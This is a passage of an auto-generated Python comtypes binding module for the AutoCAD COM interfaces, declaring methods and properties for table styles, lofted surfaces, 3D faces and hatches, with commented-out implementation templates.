POINTER(IAcadAcCmColor), 'color' )),\n COMMETHOD([dispid(47)], HRESULT, 'GetBackgroundColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'color' )),\n COMMETHOD([dispid(48)], HRESULT, 'SetBackgroundColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'color' )),\n COMMETHOD([dispid(51)], HRESULT, 'GetDataType2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out'], POINTER(AcValueDataType), 'pDataType' ),\n ( ['out'], POINTER(AcValueUnitType), 'pUnitType' )),\n COMMETHOD([dispid(52)], HRESULT, 'SetDataType2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcValueDataType, 'nDataType' ),\n ( ['in'], AcValueUnitType, 'nUnitType' )),\n COMMETHOD([dispid(53)], HRESULT, 'GetFormat2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out'], POINTER(BSTR), 'pbstrFormat' )),\n COMMETHOD([dispid(54)], HRESULT, 'SetFormat2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], BSTR, 'bstrFormat' )),\n COMMETHOD([dispid(1610809404)], HRESULT, 'GetCellClass',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(c_int), 'cellClass' )),\n COMMETHOD([dispid(1610809405)], HRESULT, 'SetCellClass',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], c_int, 'cellClass' )),\n COMMETHOD([dispid(1610809406)], HRESULT, 'GetRotation',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(c_double), 'Rotation' )),\n COMMETHOD([dispid(1610809407)], HRESULT, 'SetRotation',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], c_double, 'Rotation' )),\n COMMETHOD([dispid(1610809408)], HRESULT, 'GetIsMergeAllEnabled',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnable' )),\n COMMETHOD([dispid(1610809409)], HRESULT, 'EnableMergeAll',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], VARIANT_BOOL, 'bEnable' )),\n COMMETHOD([dispid(55)], HRESULT, 'GetGridLineWeight2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(56)], HRESULT, 'SetGridLineWeight2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineTypes' ),\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(57)], HRESULT, 'GetGridColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(58)], HRESULT, 'SetGridColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(59)], HRESULT, 'GetGridVisibility2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(60)], HRESULT, 'SetGridVisibility2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcGridLineType, 'gridLineTypes' ),\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'TemplateId',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pVal' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'TemplateId',\n ( ['in'], LONG_PTR, 'pVal' )),\n COMMETHOD([dispid(65)], HRESULT, 'SetTemplateId',\n ( ['in'], LONG_PTR, 'val' ),\n ( [], AcMergeCellStyleOption, 'option' )),\n]\n################################################################\n## code template for IAcadTableStyle implementation\n##class IAcadTableStyle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrValue\n## def _set(self, bstrValue):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstr\n## def _set(self, bstr):\n## '-no docstring-'\n## Description = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bitFlag\n## def _set(self, bitFlag):\n## '-no docstring-'\n## BitFlags = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pFlow\n## def _set(self, pFlow):\n## '-no docstring-'\n## FlowDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dHorzCellMargin\n## def _set(self, dHorzCellMargin):\n## '-no docstring-'\n## HorzCellMargin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dVertCellMargin\n## def _set(self, dVertCellMargin):\n## '-no docstring-'\n## VertCellMargin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bValue\n## def _set(self, bValue):\n## '-no docstring-'\n## TitleSuppressed = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bValue\n## def _set(self, bValue):\n## '-no docstring-'\n## HeaderSuppressed = property(_get, _set, doc = _set.__doc__)\n##\n## def GetTextStyle(self, rowType):\n## '-no docstring-'\n## #return bstrName\n##\n## def SetTextStyle(self, rowTypes, bstrName):\n## '-no docstring-'\n## #return \n##\n## def GetTextHeight(self, rowType):\n## '-no docstring-'\n## #return pTextHeight\n##\n## def SetTextHeight(self, rowTypes, TextHeight):\n## '-no docstring-'\n## #return \n##\n## def GetAlignment(self, rowType):\n## '-no docstring-'\n## #return pCellAlignment\n##\n## def SetAlignment(self, rowTypes, cellAlignment):\n## '-no docstring-'\n## #return \n##\n## def GetColor(self, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetColor(self, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetBackgroundColor(self, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetBackgroundColor(self, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetBackgroundColorNone(self, rowType):\n## '-no docstring-'\n## #return bValue\n##\n## def SetBackgroundColorNone(self, rowTypes, bValue):\n## '-no docstring-'\n## #return \n##\n## def GetGridLineWeight(self, gridLineType, rowType):\n## '-no docstring-'\n## #return Lineweight\n##\n## def SetGridLineWeight(self, gridLineTypes, rowTypes, Lineweight):\n## '-no docstring-'\n## #return \n##\n## def GetGridColor(self, gridLineType, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetGridColor(self, gridLineTypes, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetGridVisibility(self, gridLineType, rowType):\n## '-no docstring-'\n## #return bValue\n##\n## def SetGridVisibility(self, gridLineTypes, rowTypes, bValue):\n## '-no docstring-'\n## #return \n##\n## def GetDataType(self, rowType):\n## '-no docstring-'\n## #return pDataType, pUnitType\n##\n## def SetDataType(self, rowTypes, nDataType, nUnitType):\n## '-no docstring-'\n## #return \n##\n## def GetFormat(self, rowType):\n## '-no docstring-'\n## #return pVal\n##\n## def SetFormat(self, rowTypes, val):\n## '-no docstring-'\n## #return \n##\n## def CreateCellStyle(self, bstrCellStyle):\n## '-no docstring-'\n## #return \n##\n## def CreateCellStyleFromStyle(self, bstrCellStyle, bstrSourceCellStyle):\n## '-no docstring-'\n## #return \n##\n## def RenameCellStyle(self, bstrOldName, bstrNewName):\n## '-no docstring-'\n## #return \n##\n## def DeleteCellStyle(self, bstrCellStyle):\n## '-no docstring-'\n## #return \n##\n## def GetUniqueCellStyleName(self, pszBaseName):\n## '-no docstring-'\n## #return pbstrUniqueName\n##\n## def GetIsCellStyleInUse(self, pszCellStyle):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def NumCellStyles(self):\n## '-no docstring-'\n## #return NumCellStyles\n##\n## def GetCellStyles(self, cellStylesArray):\n## '-no docstring-'\n## #return \n##\n## def GetTextStyleId(self, bstrCellStyle):\n## '-no docstring-'\n## #return pVal\n##\n## def SetTextStyleId(self, bstrCellStyle, val):\n## '-no docstring-'\n## #return \n##\n## def GetTextHeight2(self, bstrCellStyle):\n## '-no docstring-'\n## #return pHeight\n##\n## def SetTextHeight2(self, bstrCellStyle, Height):\n## '-no docstring-'\n## #return \n##\n## def GetAlignment2(self, bstrCellStyle):\n## '-no docstring-'\n## #return pCellAlignment\n##\n## def SetAlignment2(self, bstrCellStyle, cellAlignment):\n## '-no docstring-'\n## #return \n##\n## def GetColor2(self, bstrCellStyle):\n## '-no docstring-'\n## #return color\n##\n## def SetColor2(self, bstrCellStyle, color):\n## '-no docstring-'\n## #return \n##\n## def GetBackgroundColor2(self, bstrCellStyle):\n## '-no docstring-'\n## #return color\n##\n## def SetBackgroundColor2(self, bstrCellStyle, color):\n## '-no docstring-'\n## #return \n##\n## def GetDataType2(self, bstrCellStyle):\n## '-no docstring-'\n## #return pDataType, pUnitType\n##\n## def SetDataType2(self, bstrCellStyle, nDataType, nUnitType):\n## '-no docstring-'\n## #return \n##\n## def GetFormat2(self, bstrCellStyle):\n## '-no docstring-'\n## #return pbstrFormat\n##\n## def SetFormat2(self, bstrCellStyle, bstrFormat):\n## '-no docstring-'\n## #return \n##\n## def GetCellClass(self, bstrCellStyle):\n## '-no docstring-'\n## #return cellClass\n##\n## def SetCellClass(self, bstrCellStyle, cellClass):\n## '-no docstring-'\n## #return \n##\n## def GetRotation(self, bstrCellStyle):\n## '-no docstring-'\n## #return Rotation\n##\n## def SetRotation(self, bstrCellStyle, Rotation):\n## '-no docstring-'\n## #return \n##\n## def GetIsMergeAllEnabled(self, bstrCellStyle):\n## '-no docstring-'\n## #return bEnable\n##\n## def EnableMergeAll(self, bstrCellStyle, bEnable):\n## '-no docstring-'\n## #return \n##\n## def GetGridLineWeight2(self, bstrCellStyle, gridLineType):\n## '-no docstring-'\n## #return Lineweight\n##\n## def SetGridLineWeight2(self, bstrCellStyle, gridLineTypes, Lineweight):\n## '-no docstring-'\n## #return \n##\n## def GetGridColor2(self, bstrCellStyle, gridLineType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetGridColor2(self, bstrCellStyle, gridLineTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetGridVisibility2(self, bstrCellStyle, gridLineType):\n## '-no docstring-'\n## #return bValue\n##\n## def SetGridVisibility2(self, bstrCellStyle, gridLineTypes, bValue):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## TemplateId = property(_get, _set, doc = _set.__doc__)\n##\n## def SetTemplateId(self, val, option):\n## '-no docstring-'\n## #return \n##\n\nIAcadLoftedSurface._methods_ = [\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'NumCrossSections',\n ( ['out', 'retval'], POINTER(c_int), 'NumCrossSections' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'NumGuidePaths',\n ( ['out', 'retval'], POINTER(c_int), 'NumGuidePaths' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'SurfaceNormals',\n ( ['out', 'retval'], POINTER(AcLoftedSurfaceNormalType), 'surfaceNormal' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'SurfaceNormals',\n ( ['in'], AcLoftedSurfaceNormalType, 'surfaceNormal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'StartDraftAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'StartDraftAngle' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'StartDraftAngle',\n ( ['in'], ACAD_ANGLE, 'StartDraftAngle' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'StartDraftMagnitude',\n ( ['out', 'retval'], POINTER(c_double), 'startDraftMag' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'StartDraftMagnitude',\n ( ['in'], c_double, 'startDraftMag' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'EndDraftAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'EndDraftAngle' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'EndDraftAngle',\n ( ['in'], ACAD_ANGLE, 'EndDraftAngle' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'EndDraftMagnitude',\n ( ['out', 'retval'], POINTER(c_double), 'endDraftMag' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'EndDraftMagnitude',\n ( ['in'], c_double, 'endDraftMag' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Closed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bClosed' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'Closed',\n ( ['in'], VARIANT_BOOL, 'bClosed' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'StartSmoothMagnitude',\n ( ['out', 'retval'], POINTER(c_double), 'startSmoothMag' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'StartSmoothMagnitude',\n ( ['in'], c_double, 'startSmoothMag' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'EndSmoothMagnitude',\n ( ['out', 'retval'], POINTER(c_double), 'endSmoothMag' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'EndSmoothMagnitude',\n ( ['in'], c_double, 'endSmoothMag' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'StartSmoothContinuity',\n ( ['out', 'retval'], POINTER(c_int), 'StartSmoothContinuity' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'StartSmoothContinuity',\n ( ['in'], c_int, 'StartSmoothContinuity' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'EndSmoothContinuity',\n ( ['out', 'retval'], POINTER(c_int), 'EndSmoothContinuity' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'EndSmoothContinuity',\n ( ['in'], c_int, 'EndSmoothContinuity' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Periodic',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bPeriodic' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Periodic',\n ( ['in'], VARIANT_BOOL, 'bPeriodic' )),\n]\n################################################################\n## code template for IAcadLoftedSurface implementation\n##class IAcadLoftedSurface_Impl(object):\n## @property\n## def NumCrossSections(self):\n## '-no docstring-'\n## #return NumCrossSections\n##\n## @property\n## def NumGuidePaths(self):\n## '-no docstring-'\n## #return NumGuidePaths\n##\n## def _get(self):\n## '-no docstring-'\n## #return surfaceNormal\n## def _set(self, surfaceNormal):\n## '-no docstring-'\n## SurfaceNormals = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return StartDraftAngle\n## def _set(self, StartDraftAngle):\n## '-no docstring-'\n## StartDraftAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return startDraftMag\n## def _set(self, startDraftMag):\n## '-no docstring-'\n## StartDraftMagnitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndDraftAngle\n## def _set(self, EndDraftAngle):\n## '-no docstring-'\n## EndDraftAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return endDraftMag\n## def _set(self, endDraftMag):\n## '-no docstring-'\n## EndDraftMagnitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bClosed\n## def _set(self, bClosed):\n## '-no docstring-'\n## Closed = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return startSmoothMag\n## def _set(self, startSmoothMag):\n## '-no docstring-'\n## StartSmoothMagnitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return endSmoothMag\n## def _set(self, endSmoothMag):\n## '-no docstring-'\n## EndSmoothMagnitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return StartSmoothContinuity\n## def _set(self, StartSmoothContinuity):\n## '-no docstring-'\n## StartSmoothContinuity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndSmoothContinuity\n## def _set(self, EndSmoothContinuity):\n## '-no docstring-'\n## EndSmoothContinuity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bPeriodic\n## def _set(self, bPeriodic):\n## '-no docstring-'\n## Periodic = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcad3DFace._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'corners' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'corners' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'VisibilityEdge1',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'visibility' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'VisibilityEdge1',\n ( ['in'], VARIANT_BOOL, 'visibility' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'VisibilityEdge2',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'visibility' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'VisibilityEdge2',\n ( ['in'], VARIANT_BOOL, 'visibility' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'VisibilityEdge3',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'visibility' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'VisibilityEdge3',\n ( ['in'], VARIANT_BOOL, 'visibility' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'VisibilityEdge4',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'visibility' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'VisibilityEdge4',\n ( ['in'], VARIANT_BOOL, 'visibility' )),\n COMMETHOD([dispid(6)], HRESULT, 'GetInvisibleEdge',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVisible' )),\n COMMETHOD([dispid(7)], HRESULT, 'SetInvisibleEdge',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT_BOOL, 'State' )),\n COMMETHOD([dispid(8), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(8), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n]\n################################################################\n## code template for IAcad3DFace implementation\n##class IAcad3DFace_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return corners\n## def _set(self, corners):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return visibility\n## def _set(self, visibility):\n## '-no docstring-'\n## VisibilityEdge1 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return visibility\n## def _set(self, visibility):\n## '-no docstring-'\n## VisibilityEdge2 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return visibility\n## def _set(self, visibility):\n## '-no docstring-'\n## VisibilityEdge3 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return visibility\n## def _set(self, visibility):\n## '-no docstring-'\n## VisibilityEdge4 = property(_get, _set, doc = _set.__doc__)\n##\n## def GetInvisibleEdge(self, Index):\n## '-no docstring-'\n## #return bVisible\n##\n## def SetInvisibleEdge(self, Index, State):\n## '-no docstring-'\n## #return \n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcISOPenWidth'\nacPenWidth013 = 13\nacPenWidth018 = 18\nacPenWidth025 = 25\nacPenWidth035 = 35\nacPenWidth050 = 50\nacPenWidth070 = 70\nacPenWidth100 = 100\nacPenWidth140 = 140\nacPenWidth200 = 200\nacPenWidthUnk = -1\nAcISOPenWidth = c_int # enum\nIAcadHatch._methods_ = [\n COMMETHOD([dispid(1), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(1), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'NumberOfLoops',\n ( ['out', 'retval'], POINTER(c_int), 'numLoops' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'PatternType',\n ( ['out', 'retval'], POINTER(AcPatternType), 'PatternType' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'PatternName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'PatternAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'PatternAngle' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'PatternAngle',\n ( ['in'], ACAD_ANGLE, 'PatternAngle' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'PatternScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'PatternScale' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'PatternScale',\n ( ['in'], ACAD_NOUNITS, 'PatternScale' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'PatternSpace',\n ( ['out', 'retval'], POINTER(c_double), 'PatternSpace' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'PatternSpace',\n ( ['in'], c_double, 'PatternSpace' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'ISOPenWidth',\n ( ['out', 'retval'], POINTER(AcISOPenWidth), 'penWidth' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'ISOPenWidth',\n ( ['in'], AcISOPenWidth, 'penWidth' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'PatternDouble',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bDouble' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'PatternDouble',\n ( ['in'], VARIANT_BOOL, 'bDouble' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Elevation',\n ( ['out', 'retval'], POINTER(c_double), 'Elevation' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Elevation',\n ( ['in'], c_double, 'Elevation' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AssociativeHatch',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fAssoc' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AssociativeHatch',\n ( ['in'], VARIANT_BOOL, 'fAssoc' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'HatchStyle',\n ( ['out', 'retval'], POINTER(AcHatchStyle), 'HatchStyle' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'HatchStyle',\n ( ['in'], AcHatchStyle, 'HatchStyle' )),\n COMMETHOD([dispid(13)], HRESULT, 'SetPattern',\n ( ['in'], c_int, 'PatternType' ),\n ( ['in'], BSTR, 'PatternName' )),\n COMMETHOD([dispid(14)], HRESULT, 'AppendOuterLoop',\n ( ['in'], VARIANT, 'ObjectArray' )),\n COMMETHOD([dispid(15)], HRESULT, 'AppendInnerLoop',\n ( ['in'], VARIANT, 'ObjectArray' )),\n COMMETHOD([dispid(16)], HRESULT, 'InsertLoopAt',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], AcLoopType, 'LoopType' ),\n ( ['in'], VARIANT, 'ObjectArray' )),\n COMMETHOD([dispid(17)], HRESULT, 'GetLoopAt',\n ( ['in'], c_int, 'Index' ),\n ( ['out'], POINTER(VARIANT), 'ObjectArray' )),\n COMMETHOD([dispid(18)], HRESULT, 'Evaluate'),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'GradientColor1',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'GradientColor1',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'GradientColor2',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'GradientColor2',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'GradientAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'GradientAngle' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'GradientAngle',\n ( ['in'], ACAD_ANGLE, 'GradientAngle' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'GradientCentered',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fCentered' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'GradientCentered',\n ( ['in'], VARIANT_BOOL, 'fCentered' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'GradientName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'GradientName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propget'], HRESULT, 'HatchObjectType',\n ( ['out', 'retval'], POINTER(AcHatchObjectType), 'hatchType' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propput'], HRESULT, 'HatchObjectType',\n ( ['in'], AcHatchObjectType, 'hatchType' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'Origin',\n ( ['out', 'retval'], POINTER(VARIANT), 'Origin' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'Origin',\n ( ['in'], VARIANT, 'Origin' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'BackgroundColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'BackgroundColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n]\n################################################################\n## code template for IAcadHatch implementation\n##class IAcadHatch_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def NumberOfLoops(self):\n## '-no docstring-'\n## #return numLoops\n##\n## @property\n## def PatternType(self):\n## '-no docstring-'\n## #return PatternType\n##\n## @property\n## def PatternName(self):\n## '-no docstring-'\n## #return bstrName\n##\n## def _get(self):\n## '-no docstring-'\n## #return PatternAngle\n## def _set(self, PatternAngle):\n## '-no docstring-'\n## PatternAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return PatternScale\n## def _set(self, PatternScale):\n## '-no docstring-'\n## PatternScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return PatternSpace\n## def _set(self, PatternSpace):\n## '-no docstring-'\n## PatternSpace = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return penWidth\n## def _set(self, penWidth):\n## '-no docstring-'\n## ISOPenWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bDouble\n## def _set(self, bDouble):\n## '-no docstring-'\n## PatternDouble = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Elevation\n## def _set(self, Elevation):\n## '-no docstring-'\n## Elevation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fAssoc\n## def _set(self, fAssoc):\n## '-no docstring-'\n## AssociativeHatch = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return HatchStyle\n## def _set(self, HatchStyle):\n## '-no docstring-'\n## HatchStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def SetPattern(self, PatternType, PatternName):\n## '-no docstring-'\n## #return \n##\n## def AppendOuterLoop(self, ObjectArray):\n## '-no docstring-'\n## #return \n##\n## def AppendInnerLoop(self, ObjectArray):\n## '-no docstring-'\n## #return \n##\n## def InsertLoopAt(self, Index, LoopType, ObjectArray):\n## '-no docstring-'\n## #return \n##\n## def GetLoopAt(self, Index):\n## '-no docstring-'\n## #return ObjectArray\n##\n## def Evaluate(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## GradientColor1 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def 